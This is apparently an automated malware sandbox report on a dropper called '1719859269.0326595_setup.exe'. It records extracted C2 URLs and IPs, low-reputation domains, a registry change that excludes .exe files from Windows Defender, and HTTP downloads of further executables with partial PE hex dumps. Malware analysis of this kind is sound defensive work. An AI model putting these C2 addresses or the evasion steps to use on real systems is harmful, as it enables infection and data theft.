Source: Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\CcYLxMOT.pdb source: yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2485120366.0000000005D70000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: PE.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2421761793.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2468716919.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, yHP2Z5SFUIZjI8pAKB_H3QUP.exe, 0000000C.00000002.2421723577.0000000003231000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: newsoftgnu.pdb source: 1719859269.0326595_setup.exe, 00000000.00000003.2242900895.0000021665139000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2719345291.00000000668DF000.00000002.00000001.01000000.00000022.sdmp
Source: Binary string: mozglue.pdb source: Lbg6Jgx2PuK0JimgGIFCI5UU.exe, 00000009.00000002.2718939776.000000006664D000.00000002.00000001.01000000.00000023.sdmp
Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\fxYgZM.pdb source: 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2478274768.00000000054E0000.00000004.08000000.00040000.00000000.sdmp, 4MZEKMRe7m6bc8qivCccLsq8.exe, 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp

Change of critical system settings
barindex
Adds extensions / path to Windows Defender exclusion list (Registry)
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions Exclusions_Extensions Jump to behavior
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{929E38D7-F85C-4E9F-9205-1838BD20B49A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions exe Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior

Networking
barindex
Yara detected MSILDownloaderGeneric
Source: Yara match File source: Process Memory Space: 1719859269.0326595_setup.exe PID: 5720, type: MEMORYSTR
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor URLs: https://steamcommunity.com/profiles/76561199707802586
Source: Malware configuration extractor URLs: https://t.me/g067n
Source: Malware configuration extractor URLs: 77.105.135.107:3445
Creates HTML files with .exe extension (expired dropper behavior)
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: 01dIFB7Hn9Ga_GV72pHGpcce.exe.0.dr
Source: C:\Users\user\Desktop\1719859269.0326595_setup.exe File created: pYPeUajku47jJmxh1FdbLdJs.exe.0.dr
Performs DNS queries to domains with low reputation
Source: DNS query: a.884736279.xyz
Source: DNS query: ellaboratepwsz.xyz
Source: DNS query: service-domain.xyz
Source: DNS query: api2.check-data.xyz
Yara detected Generic Downloader
Source: Yara match File source: 12.0.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: 1719859269.0326595_setup.exe PID: 5720, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\newsoftgnu[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe, type: DROPPED
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.6:49766 -> 77.105.135.107:3445
Source: global traffic TCP traffic: 192.168.2.6:49770 -> 77.105.133.27:50505
Source: global traffic TCP traffic: 192.168.2.6:49774 -> 49.13.159.121:9000
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.6:60387 -> 162.159.36.2:53
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:06 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Mon, 17 Jun 2024 13:05:54 GMTETag: "a13400-61b15a0111080"Accept-Ranges: bytesContent-Length: 10564608Content-Type: application/x-msdownloadData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 11 32 70 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 04 cd 00 00 00 00 00 3a c1 fa 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 91 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d0 c9 7c 01 3c 00 00 00 00 80 8e 01 d0 04 03 00 00 4d 8e 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 4d 7d 01 28 00 00 00 c0 4b 8e 01 38 01 00 00 00 00 00 00 00 00 00 00 00 40 f0 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 7e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d8 1d 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 e6 c9 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 a0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 c1 61 25 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 40 f0 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 60 27 9e 00 00 50 f0 00 00 28 9e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d0 04 03 00 00 80 8e 01 00 06 03 00 00 2e 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:06 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=newsoftgnu.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 4959240Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 25 20 81 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 f0 49 00 00 a0 01 00 00 00 00 00 fe 0d 4a 00 00 20 00 00 00 20 4a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 4b 00 00 02 00 00 6f 08 4c 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 b0 0d 4a 00 4b 00 00 00 00 20 4a 00 dc 9d 01 00 00 00 00 00 00 00 00 00 00 92 4b 00 08 1a 00 00 00 c0 4b 00 0c 00 00 00 66 0d 4a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 04 ee 49 00 00 20 00 00 00 f0 49 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 dc 9d 01 00 00 20 4a 00 00 9e 01 00 00 f2 49 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 4b 00 00 02 00 00 00 90 4b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 4a 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 35 13 00 7c b5 18 00 03 00 00 00 6b 00 00 06 88 ea 2b 00 6a f4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 42 00 00 00 01 00 00 11 2b 05 28 03 d9 79 56 28 ae 70 00 06 38 00 00 00 00 02 28 17 00 00 0a 20 00 00 00 00 17 3a 0f 00 00 00 26 38 05 00 00 00 38 da ff ff ff fe 0c 00 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 00 00 2a 00 00 42 2b 05 28 19 ab 6e 4c 7e 01 00 00 04 14 fe 01 2a 00 00 00 36 2b 05 28 10 83 57 2f 7e 01 00 00 04 2a 00 00 13 30 03 00 48 00 00 00 01 00 00 11 2b 05 28 a4 44 63 58 28 ae 70 00 06 38 00 00 00 00 00 02 28 18 00 00 0a 20 00 00 00 00 17 3a 14 00 00 00 26 20 00 00 00 00 38 09 00 00 00 38 d4 ff ff ff fe 0c 00 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 00 00 2a 42 2b 05 28 56 85 1d 44 7e 02 00 00 04 14 fe 01 2a 00 00 00 36 2b 05 28 a1 be 04 5c 7e 02 00 00 04 2a 00 00 13 30 03 00 bc 00 00 00 01 00 00 11 2b 05 28 93 Data Ascii: MZ@
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 01 Jul 2024 22:05:06 GMTContent-Type: application/octet-streamContent-Length: 2520576Last-Modified: Mon, 01 Jul 2024 12:19:15 GMTConnection: keep-aliveETag: "66829ec3-267600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 24 fc be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 00 9d 00 f2 0d 00 00 14 0e 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 50 22 00 00 d0 9c 00 00 42 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 01 Jul 2024 22:05:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 